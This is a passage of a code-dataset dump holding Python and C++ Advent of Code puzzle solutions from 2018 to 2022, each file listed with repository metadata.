std::pow(10, 3 - x);\n\t\t}\n\t}\n\n\tstd::cout << \"Part 2: \" << sum << std::endl;\n\n\treturn 0;\n}" }, { "alpha_fraction": 0.6428571343421936, "alphanum_fraction": 0.6428571343421936, "avg_line_length": 18.44444465637207, "blob_id": "9a64446e7e71478f946a6e30952822f1e2458444", "content_id": "0d8e9ab44b65a512a66991990d271d9bc6fd657a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 350, "license_type": "no_license", "max_line_length": 102, "num_lines": 18, "path": "/2021/Day12/cave.cpp", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "#include \"cave.h\"\n#include <algorithm>\n\nCave::Cave() {\n\tid = \"\";\n\tisSmall = false;\n\tvisited = false;\n}\n\nCave::Cave(std::string caveID) {\n\tid = caveID;\n\tisSmall = std::all_of(caveID.begin(), caveID.end(), [](unsigned char c) { return std::islower(c); });\n\tvisited = false;\n}\n\nvoid Cave::addLink(std::string caveID) {\n\tlinkedCaves.push_back(caveID);\n}\n" }, { "alpha_fraction": 0.4850393831729889, "alphanum_fraction": 0.5118110179901123, "avg_line_length": 19.483871459960938, "blob_id": "a7b4c0d7e6c6dbbbd5eceda12613fe1e7504f619", "content_id": "95901ede34669881596eb585208431b084b3275d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 635, "license_type": "no_license", "max_line_length": 62, "num_lines": 31, "path": "/2022/day02.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import read_lines, timed\n\n\ngames = [tuple(g.split(' ')) for g in read_lines('day02.txt')]\n# rps\n# abc\n# xyz\n\n@timed\ndef part_one():\n score = 0\n for g in games:\n opp_move = ord(g[0]) - ord('A')\n your_move = ord(g[1]) - ord('X')\n score += (your_move - opp_move + 1) % 3 * 3\n score += your_move + 1\n return score\n\n@timed\ndef part_two():\n score = 0\n for g in games:\n opp_move = ord(g[0]) - ord('A')\n outcome = ord(g[1]) - ord('X')\n score += outcome % 3 * 3\n score += ((outcome + opp_move - 1) % 3) + 1\n return score\n\n\nprint(part_one())\nprint(part_two())\n" }, { "alpha_fraction": 0.5183270573616028, "alphanum_fraction": 0.5380638837814331, "avg_line_length": 28.971830368041992, "blob_id": "ae14180a52e7cab50c65dba5cf8ce145d8ad20dd", "content_id": "fd69a3d534f6538a6e382bdff131833fe0fd7772", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2128, "license_type": "no_license", "max_line_length": 80, "num_lines": 71, "path": "/2020/2020-12.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\nwith open('inputs/2020-12.txt') as f:\n actions = [(line[0], int(line[1:])) for line in f.read().splitlines()]\n\nDIRECTION_MAP = {\n 'E': (1, 0),\n 'S': (0, -1),\n 'W': (-1, 0),\n 'N': (0, 1)\n}\n\nTURN_MAP = {'L': -1, 'R': 1}\nROTATE_MAP = {'L': 1, 'R': -1} # Quadrants increase as you go counter-clockwise\n\n@timed\ndef part_one(actions, direction):\n x = 0\n y = 0\n for action, num in actions:\n if action == 'F':\n action = direction\n if action in 'ESWN':\n x += DIRECTION_MAP[action][0] * num\n y += DIRECTION_MAP[action][1] * num\n continue\n\n index_inc = int(TURN_MAP[action] * (num / 90))\n direction_options = list(DIRECTION_MAP.keys())\n direction_map_index = direction_options.index(direction) + index_inc\n try:\n direction = direction_options[direction_map_index]\n except IndexError:\n direction = direction_options[direction_map_index % 4]\n\n return abs(x) + abs(y)\n\n@timed\ndef part_two(actions, direction, waypoint_x, waypoint_y):\n ship_x = 0\n ship_y = 0\n for action, num in actions:\n if action == 'F':\n move_x = (waypoint_x - ship_x) * num\n move_y = (waypoint_y - ship_y) * num\n ship_x += move_x\n ship_y += move_y\n waypoint_x += move_x\n waypoint_y += move_y\n if action in 'ESWN':\n waypoint_x += DIRECTION_MAP[action][0] * num\n waypoint_y += DIRECTION_MAP[action][1] * num\n continue\n\n relative_coords = [waypoint_x - ship_x, waypoint_y - ship_y]\n\n times_rotate = int(num / 90)\n for i in range(times_rotate):\n if action == 'R':\n relative_coords = [relative_coords[1], -relative_coords[0]]\n elif action == 'L':\n relative_coords = [-relative_coords[1], relative_coords[0]]\n\n waypoint_x = ship_x + relative_coords[0]\n waypoint_y = ship_y + relative_coords[1]\n\n return abs(ship_x) + abs(ship_y)\n\n\nprint(part_one(actions, 'E'))\nprint(part_two(actions, 'E', 10, 1))\n" }, { "alpha_fraction": 0.39087948203086853, "alphanum_fraction": 0.4136807918548584, "avg_line_length": 20.172412872314453, "blob_id": "46efbac4bab7e9ca164391ec30982b6b734ec531", "content_id": "f80f169fb832fad84e4466a5859fa669225c0c3c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 614, "license_type": "no_license", "max_line_length": 57, "num_lines": 29, "path": "/2021/Day02/main.cpp", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "#include <iostream>\n#include <fstream>\n\nint main()\n{\n std::ifstream input(\"input.txt\");\n std::string dir;\n int num;\n int pos = 0, depth1 = 0, depth2 = 0, aim = 0;\n while (input >> dir >> num) {\n if (dir == \"up\") {\n depth1 -= num;\n aim -= num;\n }\n else if (dir == \"down\") {\n depth1 += num;\n aim += num;\n }\n else {\n pos += num;\n depth2 += aim * num;\n }\n }\n\n\n std::cout << \"Part 1: \" << pos * depth1 << std::endl;\n std::cout << \"Part 2: \" << pos * depth2 << std::endl;\n return 0;\n}\n" }, { "alpha_fraction": 0.42125236988067627, "alphanum_fraction": 0.464895635843277, "avg_line_length": 24.095237731933594, "blob_id": "d0c19a950779340c5395dd2d72cec5a15023eb93", "content_id": "c389a152098112878f6e0d2e62e00bd4b518c9fb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1054, "license_type": "no_license", "max_line_length": 64, "num_lines": 42, "path": "/2022/day09.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import read_lines, timed\n\nmvts = [line.split(' ') for line in read_lines('day09.txt')]\ndir_map = {'L': (-1, 0), 'R': (1, 0), 'U': (0, 1), 'D': (0, -1)}\n\ndef sign(n):\n if n > 0:\n return 1\n if n < 0:\n return -1\n return 0\n\ndef sim_rope(num_knots):\n rope = [[0, 0] for _ in range(num_knots)]\n visited = set()\n for d, num in mvts:\n num = int(num)\n for _ in range(num):\n rope[0][0] = rope[0][0] + dir_map[d][0]\n rope[0][1] = rope[0][1] + dir_map[d][1]\n for i in range(1, len(rope)):\n x_dist = rope[i - 1][0] - rope[i][0]\n y_dist = rope[i - 1][1] - rope[i][1]\n\n if abs(x_dist) > 1 or abs(y_dist) > 1:\n rope[i][0] = rope[i][0] + 1 * sign(x_dist)\n rope[i][1] = rope[i][1] + 1 * sign(y_dist)\n visited.add(tuple(rope[-1]))\n\n return len(visited)\n\n@timed\ndef part_one():\n return sim_rope(2)\n\n@timed\ndef part_two():\n return sim_rope(10)\n\n\nprint(part_one())\nprint(part_two())\n" }, { "alpha_fraction": 0.5367892980575562, "alphanum_fraction": 0.5702341198921204, "avg_line_length": 26.18181800842285, "blob_id": "c38d5bcf95cea3ae1e9448beea1f4a0ca1d60367", "content_id": "e95fd531d2bd6d194ce74e5b611e4c32fe161624", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 598, "license_type": "no_license", "max_line_length": 129, "num_lines": 22, "path": "/2022/day04.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\nimport re\n\npairs = []\nwith open('inputs/day04.txt') as f:\n for pair in f.readlines():\n match = re.search(r'(\\d+)-(\\d+),(\\d+)-(\\d+).*', pair)\n if match:\n pairs.append(tuple(map(int, match.groups())))\n\n@timed\ndef part_one():\n return sum(1 for pair in pairs if (pair[0] >= pair[2] and pair[1] <= pair[3]) or (pair[0] <= pair[2] and pair[1] >= pair[3]))\n\n@timed\ndef part_two():\n return sum(1 for pair in pairs if (pair[0] >= pair[2] and pair[0] <= pair[3]) or (pair[2] >= pair[0] and pair[2] <= pair[1]))\n\n\nprint(part_one())\nprint(part_two())\n" }, { "alpha_fraction": 0.5669013857841492, "alphanum_fraction": 0.5950704216957092, "avg_line_length": 17.933332443237305, "blob_id": "ba98224ed2a93811ee20a03f2e991cdb19499b25", "content_id": "546f4f483e07c366f822905d282b6935acc15c60", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 284, "license_type": "no_license", "max_line_length": 39, "num_lines": 15, "path": "/2021/Day09/point.cpp", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "#include \"point.h\"\n\nPoint::Point(int x1, int y1) {\n\tx = x1;\n\ty = y1;\n}\n\nstd::vector<Point> Point::adjPoints() {\n\tstd::vector<Point> adj;\n\tadj.push_back(Point(x - 1, y));\n\tadj.push_back(Point(x, y - 1));\n\tadj.push_back(Point(x + 1, y));\n\tadj.push_back(Point(x, y + 1));\n\treturn adj;\n}\n" }, { "alpha_fraction": 0.5572916865348816, "alphanum_fraction": 0.5870535969734192, "avg_line_length": 25.8799991607666, "blob_id": "45e31a603a01c4a7967a72df2d9e61d5d8bd8de1", "content_id": "faaf8eecaf93ed76e7a66661f3589f3f066ab9a8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1344, "license_type": "no_license", "max_line_length": 79, "num_lines": 50, "path": "/2019/2019-08.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "import collections\nimport matplotlib.pyplot as plt\n\nfrom utils import timed\n\n\n@timed\ndef part_one():\n img = open('inputs/2019-08.txt').read()\n layers = [img[i:i + 150] for i in range(0, len(img), 150)]\n\n min_zeros = 150\n min_layer = 0\n for i, layer in enumerate(layers):\n zeros = len([pixel for pixel in layer if pixel == '0'])\n if zeros < min_zeros:\n min_zeros = zeros\n min_layer = i\n\n ones = len([pixel for pixel in layers[min_layer] if pixel == '1'])\n twos = len([pixel for pixel in layers[min_layer] if pixel == '2'])\n print(ones * twos)\n\n@timed\ndef part_two():\n img = open('inputs/2019-08.txt').read()\n layers = [img[i:i + 150] for i in range(0, len(img), 150)]\n\n i = 0\n determined_positions = {}\n for layer in layers:\n for i, pixel in enumerate(layer):\n if pixel != '2':\n if determined_positions.get(i) is None:\n determined_positions[i] = pixel\n\n ordered_img = collections.OrderedDict(sorted(determined_positions.items()))\n\n msg = ''\n for v in ordered_img.values():\n msg += v\n\n formatted_msg_str = [msg[i:i + 25] for i in range(0, len(msg), 25)]\n formatted_msg = [[int(p) for p in layer] for layer in formatted_msg_str]\n plt.imshow(formatted_msg)\n plt.show()\n\n\npart_one()\npart_two()\n" }, { "alpha_fraction": 0.5313243269920349, "alphanum_fraction": 0.5408406257629395, "avg_line_length": 28.67058753967285, "blob_id": "55f84ef1b56d18bf6e6697bd1a22ae22a0af51dc", "content_id": "773f99846c40afce24d7d0b8c1f60fd81ca30020", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2522, "license_type": "no_license", "max_line_length": 91, "num_lines": 85, "path": "/2020/2020-11.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\nimport itertools\n\nwith open('inputs/2020-11.txt') as f:\n seat_layout = [list(row) for row in f.read().splitlines()]\n\ndef save_seats(seat_layout):\n layout_dict = {}\n for i, row in enumerate(seat_layout):\n for j, seat in enumerate(row):\n layout_dict[(i, j)] = seat\n\n return layout_dict\n\ndef get_adjacent_seats(layout_dict, row, col):\n seats = []\n adjustments = [adj for adj in itertools.product([-1, 0, 1], repeat=2) if adj != (0, 0)]\n\n for row_adj, col_adj in adjustments:\n try:\n seats.append(layout_dict[(row + row_adj, col + col_adj)])\n except KeyError:\n pass\n\n return seats\n\n@timed\ndef part_one(seat_layout):\n layout_dict = save_seats(seat_layout)\n while True:\n round_layout = layout_dict.copy()\n for coords, seat in round_layout.items():\n if seat == '.':\n continue\n\n adj_seats = get_adjacent_seats(round_layout, *coords)\n\n if seat == 'L' and adj_seats.count('#') == 0:\n layout_dict[coords] = '#'\n elif seat == '#' and adj_seats.count('#') >= 4:\n layout_dict[coords] = 'L'\n\n if round_layout == layout_dict:\n return list(layout_dict.values()).count('#')\n\ndef get_closest_seats(layout_dict, row, col):\n \"\"\"An adaptation of get_adjacent_seats\"\"\"\n seats = []\n adjustments = [adj for adj in itertools.product([-1, 0, 1], repeat=2) if adj != (0, 0)]\n for i, (row_adj, col_adj) in enumerate(adjustments):\n try:\n seat = '.'\n while seat == '.':\n seat = layout_dict[(row + row_adj, col + col_adj)]\n row_adj += adjustments[i][0]\n col_adj += adjustments[i][1]\n seats.append(seat)\n except KeyError:\n pass\n\n return seats\n\n@timed\ndef part_two(seat_layout):\n layout_dict = save_seats(seat_layout)\n while True:\n round_layout = layout_dict.copy()\n for coords, seat in round_layout.items():\n if seat == '.':\n continue\n\n adj_seats = get_closest_seats(round_layout, *coords)\n\n if seat == 'L' and adj_seats.count('#') == 0:\n layout_dict[coords] = '#'\n elif seat == '#' and adj_seats.count('#') >= 5:\n layout_dict[coords] = 'L'\n\n if round_layout == layout_dict:\n return list(layout_dict.values()).count('#')\n\n\nprint(part_one(seat_layout))\nprint(part_two(seat_layout))\n" }, { "alpha_fraction": 0.3685990273952484, "alphanum_fraction": 0.38164252042770386, "avg_line_length": 25.88311767578125, "blob_id": "4c188ea96343a85fd25bc372163f0b0feaef8bb4", "content_id": "c60d14f6ebc12bc34db23498d9a9876e34725224", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 2070, "license_type": "no_license", "max_line_length": 106, "num_lines": 77, "path": "/2021/Day11/main.cpp", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "#include <iostream>\n#include <fstream>\n#include <vector>\n#include <queue>\n#include \"point.h\"\n\n\nint main() {\n std::ifstream input(\"input.txt\");\n std::string line;\n std::vector<Point> octopi;\n\n int x = 0;\n while (input >> line) {\n for (int y = 0; y < line.length(); y++) {\n octopi.push_back(Point(x, y, line[y] - '0'));\n }\n x++;\n }\n\n int flashes = 0;\n int syncStep = -1;\n int s = 1;\n while (s <= 100 || syncStep == -1) {\n int stepFlashes = 0;\n\n std::queue<Point*> queue; // For some reason queue.front() makes a copy so I have to use pointers\n for (Point& p : octopi) {\n p.isFlashed = false;\n p.energy++;\n if (p.energy > 9) {\n queue.push(&p);\n }\n }\n\n while (!queue.empty()) {\n Point *point = queue.front();\n\n queue.pop();\n if (point->isFlashed) continue;\n point->isFlashed = true;\n point->energy = 0;\n\n for (int xdiff = -1; xdiff <= 1; xdiff++) {\n for (int ydiff = -1; ydiff <= 1; ydiff++) {\n if (xdiff == 0 && ydiff == 0) continue;\n for (Point& p : octopi) {\n if (p.x == point->x + xdiff && p.y == point->y + ydiff && !p.isFlashed) {\n p.energy++;\n if (p.energy > 9) {\n queue.push(&p);\n break;\n }\n }\n }\n }\n }\n }\n\n for (Point& p : octopi) {\n if (p.isFlashed) {\n stepFlashes++;\n if (s <= 100) {\n flashes++;\n }\n }\n }\n if (stepFlashes == octopi.size() && syncStep == -1) {\n syncStep = s;\n }\n s++;\n }\n std::cout << \"Part 1: \" << flashes << std::endl;\n std::cout << \"Part 2: \" << syncStep << std::endl;\n\n return 0;\n}\n" }, { "alpha_fraction": 0.5548326969146729, "alphanum_fraction": 0.5934014916419983, "avg_line_length": 32.10769271850586, "blob_id": "b0abefafe6d1beac6ae1c8689aa69d42e49fd07e", "content_id": "40e38f16fed52631be17b7a13146b05172794497", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2152, "license_type": "no_license", "max_line_length": 101, "num_lines": 65, "path": "/2020/2020-23.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\nwith open('inputs/2020-23.txt') as f:\n cups = [int(c) for c in f.read()]\n\ndef mix_cups(cups, first_cup, moves):\n for i in range(moves):\n if i == 0:\n current_cup = first_cup\n else:\n current_cup = cups[current_cup]\n\n # Remove 3 cups clockwise from the current cup\n removed_cup1 = cups[current_cup]\n removed_cup2 = cups[removed_cup1]\n removed_cup3 = cups[removed_cup2]\n cups[current_cup] = cups[removed_cup3]\n del cups[removed_cup1]\n del cups[removed_cup2]\n del cups[removed_cup3]\n\n destination_cup = current_cup - 1\n lowest_cup = 1\n # Using == instead of in to hopefully save time\n while lowest_cup == removed_cup1 or lowest_cup == removed_cup2 or lowest_cup == removed_cup3:\n lowest_cup += 1\n\n while (destination_cup == removed_cup1 or destination_cup == removed_cup2\n or destination_cup == removed_cup3 or destination_cup < lowest_cup): # noqa: W503\n destination_cup -= 1\n if destination_cup < lowest_cup:\n destination_cup = len(cups) + 3\n\n cups[removed_cup3] = cups[destination_cup]\n cups[removed_cup2] = removed_cup3\n cups[removed_cup1] = removed_cup2\n cups[destination_cup] = removed_cup1\n\n return cups\n\n@timed\ndef part_one(cups):\n first_cup = cups[0]\n cups = {c: cups[i + 1] if i != len(cups) - 1 else cups[0] for i, c in enumerate(cups)}\n cups = mix_cups(cups, first_cup, 100)\n sequence = []\n next_cup = cups[1]\n while next_cup != 1:\n sequence.append(str(next_cup))\n next_cup = cups[next_cup]\n return ''.join(sequence)\n\n@timed\ndef part_two(cups):\n # Takes about 15-17 seconds\n first_cup = cups[0]\n original_cups = {c: cups[i + 1] if i != len(cups) - 1 else 10 for i, c in enumerate(cups)}\n other_cups = {i: i + 1 if i != 1_000_000 else cups[0] for i in range(10, 1_000_001)}\n cups = {**original_cups, **other_cups}\n cups = mix_cups(cups, first_cup, 10_000_000)\n return cups[1] * cups[cups[1]]\n\n\nprint(part_one(cups))\nprint(part_two(cups))\n" }, { "alpha_fraction": 0.6148409843444824, "alphanum_fraction": 0.6239272952079773, "avg_line_length": 32.016666412353516, "blob_id": "38235913c101b587f312222b5665b4ff5dd7a5a6", "content_id": "77aa824dde0aece72b29dd17401bae8557c271d9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1981, "license_type": "no_license", "max_line_length": 117, "num_lines": 60, "path": "/2020/2020-07.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\n# day 7 part 2 was a nightmare, just like last year's...\n\nwith open('inputs/2020-07.txt') as f:\n input_lines = f.read().splitlines()\n\ndef find_parent_bags(rules, color):\n possible_parent_bags = []\n for outer_bag, inner_bags in rules.items():\n if color in inner_bags.keys():\n possible_parent_bags.append(outer_bag)\n\n return possible_parent_bags + sum([find_parent_bags(rules, outer_bag) for outer_bag in possible_parent_bags], [])\n\n@timed\ndef part_one(input_lines):\n rules = {}\n for rule in input_lines:\n child_bags = ' '.join(rule.split(' ')[4:]).split(', ')\n outer_bag = ' '.join(rule.split(' ')[:2])\n child_bags_dict = {}\n for bag in child_bags:\n split_bag = bag.split(' ')\n if split_bag[0] == 'no':\n break\n child_bags_dict[' '.join(split_bag[1:3]).strip('.')] = int(split_bag[0])\n rules[outer_bag] = child_bags_dict\n\n return rules, len(set(find_parent_bags(rules, 'shiny gold')))\n\ndef product(array: list) -> int:\n res = 1\n for i in array:\n res *= i\n return res\n\ndef get_num_child_bags(rules, color, parent_bags_numlist):\n if len(rules[color]) == 0:\n return 0 # no more layers left, no more additional bags to add\n\n total_bag_counts = []\n for bag, count in rules[color].items():\n branch_count_list = parent_bags_numlist.copy() # duplicate the count list for the current branch\n current_layer_sum = count * product(branch_count_list)\n\n branch_count_list.append(count) # add this layer's count to the parent numlist for future layers\n future_layer_sum = get_num_child_bags(rules, bag, branch_count_list)\n total_bag_counts.append(current_layer_sum + future_layer_sum)\n\n return sum(total_bag_counts)\n\n@timed\ndef part_two(rules):\n return get_num_child_bags(rules, 'shiny gold', [1])\n\n\nrules, answer = part_one(input_lines)\nprint(answer)\nprint(part_two(rules))\n" }, { "alpha_fraction": 0.49740034341812134, "alphanum_fraction": 0.5320624113082886, "avg_line_length": 18.89655113220215, "blob_id": "d7dbc8a2f0477ac58398895dbb99bf6e69941f17", "content_id": "69871bbdeb3cf08f266fbffc481b9d9a5897f6a6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 577, "license_type": "no_license", "max_line_length": 81, "num_lines": 29, "path": "/2018/2018-01.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\n# https://adventofcode.com/2018/day/1\n# Part 1\n@timed\ndef part_one():\n print(sum([int(i) for i in open('inputs/2018-01.txt').read().split('\\n')]))\n\n# Part 2\n\n@timed\ndef part_two():\n frequencies = [int(i) for i in open('inputs/2018-01.txt').read().split('\\n')]\n\n total = 0\n prev = set()\n found = False\n while not found:\n for i in frequencies:\n total += i\n if total in prev:\n print(total)\n found = True\n break\n prev.add(total)\n\n\npart_one()\npart_two()\n" }, { "alpha_fraction": 0.465770959854126, "alphanum_fraction": 0.5086372494697571, "avg_line_length": 25.049999237060547, "blob_id": "91ba4b8a011b8cf4f6bb5d8d42d95aa413173dc2", "content_id": "0b53903ea015566ba17aaef2bd14a2c0d8c94f1f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1563, "license_type": "no_license", "max_line_length": 95, "num_lines": 60, "path": "/2018/2018-03.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\n# I think I might give up today\n# Comment about 2 hours after this: Part 1 was easy, Part 2 took way longer than it should have\n# https://adventofcode.com/2018/day/3\n\n# Part 1\nimport re\n\n\nfabric = [[0 for i in range(1000)] for i in range(1000)]\nclaims = [i for i in open('inputs/2018-03.txt').read().split('\\n')]\n\n\n@timed\ndef part_one():\n global fabric\n global claims\n\n for c in claims:\n cd = re.findall(r'\\#[0-9]+ \\@ ([0-9]+),([0-9]+): ([0-9]+)x([0-9]+)', c)\n from_left = int(cd[0][0])\n from_top = int(cd[0][1])\n width = int(cd[0][2])\n height = int(cd[0][3])\n\n for i in range(from_left, from_left + width):\n for j in range(from_top, from_top + height):\n fabric[i][j] += 1\n\n overlapping = sum(1 for i in fabric for j in i if j >= 2)\n print(overlapping)\n\n# Part 2\n\n@timed\ndef part_two():\n global fabric\n global claims\n for c in claims:\n cd = re.findall(r'\\#([0-9]+) \\@ ([0-9]+),([0-9]+): ([0-9]+)x([0-9]+)', c)\n case_num = int(cd[0][0])\n from_left = int(cd[0][1])\n from_top = int(cd[0][2])\n width = int(cd[0][3])\n height = int(cd[0][4])\n p = True\n for i in range(from_left, from_left + width):\n for j in range(from_top, from_top + height):\n if fabric[i][j] != 1:\n p = False\n break # makes it faster\n if not p:\n break # makes it faster\n if p:\n print(case_num)\n\n\npart_one()\npart_two()\n" }, { "alpha_fraction": 0.5456656217575073, "alphanum_fraction": 0.5859133005142212, "avg_line_length": 27.733333587646484, "blob_id": "68099c3458d5a90be30f86e98e8fcad8acb15bc8", "content_id": "c784b0a246467b3beae815bd8340410cece35780", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1292, "license_type": "no_license", "max_line_length": 120, "num_lines": 45, "path": "/2019/2019-02.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n# https://adventofcode.com/2019/day/2\n# The hard part for this one was understanding the problem, the coding part was easy\n\ndef solve_intcode(intcode, noun, verb):\n intcode[1] = noun\n intcode[2] = verb\n opcode = None\n opcode_index = 0\n while True:\n opcode = intcode[opcode_index]\n if opcode == 99:\n break\n if opcode == 1:\n intcode[intcode[opcode_index + 3]] = intcode[intcode[opcode_index + 1]] + intcode[intcode[opcode_index + 2]]\n elif opcode == 2:\n intcode[intcode[opcode_index + 3]] = intcode[intcode[opcode_index + 1]] * intcode[intcode[opcode_index + 2]]\n else:\n print(f'Unknown opcode {opcode}')\n\n opcode_index += 4\n\n return intcode[0]\n\n@timed\ndef part_one():\n intcode = list(map(int, open('inputs/2019-02.txt').read().split(',')))\n print(solve_intcode(intcode, 12, 2))\n\n\n@timed\ndef part_two():\n intcode = list(map(int, open('inputs/2019-02.txt').read().split(',')))\n\n for noun in range(100):\n for verb in range(100):\n test_input = intcode.copy()\n output = solve_intcode(test_input, noun, verb)\n if output == 19690720:\n print(100 * noun + verb)\n break\n\n\npart_one()\npart_two()" }, { "alpha_fraction": 0.5648021697998047, "alphanum_fraction": 0.5852660536766052, "avg_line_length": 30.869565963745117, "blob_id": "481adc4ff3fcffa165231c1bba0a91a5b420bf74", "content_id": "cbaf6b4d58a0c548e932af7b60f5732a8bddaf15", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2199, "license_type": "no_license", "max_line_length": 117, "num_lines": 69, "path": "/2020/2020-17.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "import itertools\n\nfrom utils import timed\n\nwith open('inputs/2020-17.txt') as f:\n z_layer_0 = [list(row) for row in f.read().splitlines()]\n\ndef create_pd(z_layer_0, dimensions):\n pd = {}\n for y, col in enumerate(z_layer_0):\n for x, cube in enumerate(col):\n pd[tuple([x - 1, y - 1] + [0] * (dimensions - 2))] = cube\n\n return pd\n\ndef extend_pd(pd, axis_ranges):\n upd_axis_ranges = []\n for axis in axis_ranges:\n upd_axis_ranges.append([axis[0] - 1, axis[1] + 1])\n\n for coords in itertools.product(*[range(*axis) for axis in upd_axis_ranges]):\n if pd.get(coords) is None:\n pd[coords] = '.'\n\n return pd, upd_axis_ranges\n\ndef get_adjacent_cubes(cycle_layout, mutable_layout, coords, dimensions):\n adjustments = [adj for adj in itertools.product([-1, 0, 1], repeat=dimensions) if adj != tuple([0] * dimensions)]\n\n adj_cubes = []\n for adj in adjustments:\n upd_coords = []\n for axis, axis_adj in zip(coords, adj):\n upd_coords.append(axis + axis_adj)\n try:\n adj_cubes.append(cycle_layout[tuple(upd_coords)])\n except KeyError:\n mutable_layout[tuple(upd_coords)] = '.'\n adj_cubes.append('.')\n\n return adj_cubes\n\ndef cycle_pocket_dimension(z_layer_0, num_cycles, num_dimensions):\n pd = create_pd(z_layer_0, num_dimensions)\n axis_ranges = [[-1, len(z_layer_0) - 1], [-1, len(z_layer_0) - 1]] + [[0, 1]] * (num_dimensions - 2)\n for _ in range(num_cycles):\n pd, axis_ranges = extend_pd(pd, axis_ranges)\n cycle_layout = pd.copy()\n for coords, cube_state in cycle_layout.items():\n adj_cubes = get_adjacent_cubes(cycle_layout, pd, coords, num_dimensions)\n\n if cube_state == '#' and adj_cubes.count('#') not in (2, 3):\n pd[coords] = '.'\n elif cube_state == '.' and adj_cubes.count('#') == 3:\n pd[coords] = '#'\n\n return list(pd.values()).count('#')\n\n@timed\ndef part_one(z_layer_0):\n return cycle_pocket_dimension(z_layer_0, 6, 3)\n\n@timed\ndef part_two(z_layer_0):\n return cycle_pocket_dimension(z_layer_0, 6, 4)\n\n\nprint(part_one(z_layer_0))\nprint(part_two(z_layer_0))\n" }, { "alpha_fraction": 0.7038626670837402, "alphanum_fraction": 0.7038626670837402, "avg_line_length": 14.600000381469727, "blob_id": "7787798b944d74d7c77cd358dcd177b060aea708", "content_id": "dbd73bb60ffb6f10ca14a191e9b24e700cd06022", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 233, "license_type": "no_license", "max_line_length": 38, "num_lines": 15, "path": "/2021/Day12/cave.h", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "#pragma once\n#include <iostream>\n#include <vector>\n\nclass Cave {\npublic:\n\tstd::string id;\n\tbool isSmall;\n\tbool visited;\n\tstd::vector<std::string> linkedCaves;\n\n\tCave();\n\tCave(std::string caveID);\n\tvoid addLink(std::string caveID);\n};" }, { "alpha_fraction": 0.5384615659713745, "alphanum_fraction": 0.5718257427215576, "avg_line_length": 28.97222137451172, "blob_id": "b6c7cb36d25ca3965c535223ee601b503e939750", "content_id": "0e3c5613e297b87a0d0aa99b52baf2fb24e6e223", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1079, "license_type": "no_license", "max_line_length": 103, "num_lines": 36, "path": "/2020/2020-10.py", "repo_name": "SharpBit/adventofcode", "src_encoding": "UTF-8", "text": "from utils import timed\n\nwith open('inputs/2020-10.txt') as f:\n adapters = list(map(int, f.read().splitlines()))\n\n@timed\ndef part_one(adapters):\n adapters += [0, max(adapters) + 3]\n adapters.sort()\n jolt_differences = [adapters[i + 1] - adapters[i] for i in range(len(adapters) - 1)]\n return jolt_differences.count(1) * jolt_differences.count(3)\n\n@timed\ndef part_two(adapters):\n adapters += [0, max(adapters) + 3]\n adapters.sort()\n combinations = 1\n i = 0\n while i < len(adapters) - 2:\n if i + 4 < len(adapters) and adapters[i + 4] == adapters[i] + 4:\n combinations *= 7 # 7 combinations of adapters for a 5-chain of adapters each 1 jolt apart\n i += 4\n elif i + 3 < len(adapters) and adapters[i + 3] == adapters[i] + 3:\n combinations *= 4\n i += 3\n elif adapters[i + 2] in (adapters[i] + 3, adapters[i] + 2):\n combinations *= 2\n i += 2\n else:\n i += 1\n\n return combinations\n\n\nprint(part_one(adapters.copy()))\nprint(part_two(adapters.copy()))\n" }, { "alpha_fraction": 0.6355999708175659, "alphanum_fraction": 0.6431999802589417, "avg_line_length": 38.0625, "blob_id": "acb6188c428bb95d52ad2e7c99c7951ea7d2963b", "content_id": "81694d7dc6ca7dcfee93502f5c70e846a2cb2b27", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2500, "license_type": "no_license", "max_line_length": 119, "num_lines": 64, "path": "/2020/2020-21.py", "repo_name": 